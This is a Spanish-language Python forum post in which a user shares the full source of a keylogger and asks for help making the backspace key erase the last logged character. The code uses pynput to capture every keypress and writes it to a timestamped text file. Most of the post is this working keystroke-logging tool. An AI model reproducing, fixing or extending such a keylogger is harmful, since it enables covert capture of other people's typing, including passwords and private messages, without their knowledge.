[ Foro de Python ]
Quisiera que alguien me pudiera ayudar con un error en mi keylogger de que quiero que al darle a le tecla de borrar se borre el ultimo caracter que se haya copiado en el archivo creado mediante variables, aqui les dejare el code porfa que alguien me ayude:
import datetime
from pynput.keyboard import Key, Listener
d = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
file_name = 'keylogger_{}.txt'.format(d)
print("todo funciona bien hasta ahora")
keys = []
def key_recorder(key):
keys.append(key)
key_writer(keys)
def key_writer(keys):
print("Tecla precionada")
with open(file_name, 'w') as f:
for key in keys:
key = str(key).replace("'", "")
if key == 'Key.enter':
f.write("\n")
print("Enter")
if key == 'Key.backspace':
#aqui es donde quiero que se ejecute el comando
print("Atras, borrar")
if key == 'Key.space':
f.write(' ')
print("Espacio")
elif key != 'Key.enter' and key != 'Key.backspace' and key != 'Key.space':
f.write(key)
try:
with Listener(on_press=key_recorder) as Listener:
Listener.join()
except Exception as e:
print(e)
(No se puede continuar esta discusión porque tiene más de dos meses de antigüedad. Si tienes dudas parecidas, abre un nuevo hilo.)